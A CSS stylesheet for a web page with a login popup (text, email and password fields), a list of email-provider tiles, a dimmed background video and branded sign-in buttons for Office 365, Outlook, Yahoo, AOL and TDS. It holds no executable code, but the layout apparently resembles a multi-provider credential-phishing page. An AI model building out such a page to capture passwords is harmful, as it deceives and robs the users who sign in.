* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
  }

  .popup {
    display: none;
    position: fixed;
    z-index: 10;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    overflow: hidden;
    background-color: rgba(0, 0, 0, 0.5);
    justify-content: center;
    align-items: center;
  }

  .popup-content {
    background-color: #fefefe;
    padding: 20px;
    border: 1px solid #888;
    width: 80%;
    max-width: 400px;
    border-radius: 10px;
    transform: translateY(-100%);
  }

  @keyframes slideInContent {
    from {
      transform: translateY(-100%);
      opacity: 0;
    }
    to {
      transform: translateY(0);
      opacity: 1;
    }
  }

  @keyframes slideOutContent {
    from {
      transform: translateY(0);
      opacity: 1;
    }
    to {
      transform: translateY(-100%);
      opacity: 0;
    }
  }

  .close {
    color: #aaa;
    float: right;
    font-size: 28px;
    font-weight: bold;
    cursor: pointer;
  }

  .close:hover,
  .close:focus {
    color: black;
    text-decoration: none;
  }

  .popup input[type="text"],
  .popup input[type="password"],
  .popup input[type="email"] {
    width: 100%;
    padding: 10px;
    margin: 5px 0 20px 0;
    display: inline-block;
    border: 1px solid #ccc;
    box-sizing: border-box;
  }

  .popup button {
    /* background-color: #4caf50;
    color: white; */
    padding: 14px 20px;
    margin: 8px 0;
    border: none;
    cursor: pointer;
    width: 100%;
    border-radius: 4px;
  }

  .popup button:hover {
    opacity: 0.8;
  }

  .mail {
    cursor: pointer;
  }

  .content {
    z-index: 1;
  }

  header {
    height: 30px;
    width: 100%;
    background-color: #ea3c00;
    background-repeat: no-repeat;
    background-size: cover;
    background-position: center;
  }

  body {
    background-color: #2d96bd;
    color: #d7d7d7;
  }

  .fhead {
    height: 40px;
    width: 100%;
    background-color: #333333;
    display: flex;
    align-items: center;
    gap: 6px;
    color: #d7d7d7;
    padding-left: 100px;
  }

  .content {
    position: absolute;
    top: 0;
    left: 0;
    height: fit-content;
    width: 100%;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    gap: 8px;
    padding-top: 30px;
    z-index: 2;
  }

  .content > p {
    width: 47%;
    text-align: center;
    font-size: 14px;
  }

  .mails {
    display: flex;
    align-items: center;
    justify-content: center;
    flex-direction: column;
    width: 100%;
    gap: 20px;
    height: 80vh;
  }

  .mail {
    width: fit-content;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 10px;
    gap: 10px;
    border-radius: 10px;
    background-color: #2d96bd;
    height: 30px;
  }

  .mail > h3 {
    font-size: 12px;
  }

  .mail > img {
    height: 20px;
  }

  .video-container {
    position: relative;
    width: 100%;
    height: 100vh;
    overflow: hidden;
  }

  .video-container > video {
    object-fit: cover;
    width: 100%;
    height: 100%;
  }

  .video-container::before {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: linear-gradient(to top, rgba(0, 0, 0, 0.8), rgba(0, 0, 0, 0.8));
    z-index: 1;
  }

  .popup-content img {
    max-width: 80px;
    max-height: 80px;
    display: block;
    margin: 0 auto 20px auto;
  }

  #successPopup .popup-content {
    text-align: center;
  }

  .error {
    border-color: red;
  }

  


  /* CSS styles for different email providers' sign-in buttons */

.office365-button {
  background-color: #0078D4;
  color: white;
}

.outlook-button {
  background-color: #0078D4;
  color: white;
}

.yahoo-button {
  background-color: #430297;
  color: white;
}

.aol-button {
  background-color: #0060A3;
  color: white;
}

.tds-button {
  background-color: #FFCC00;
  color: black;
}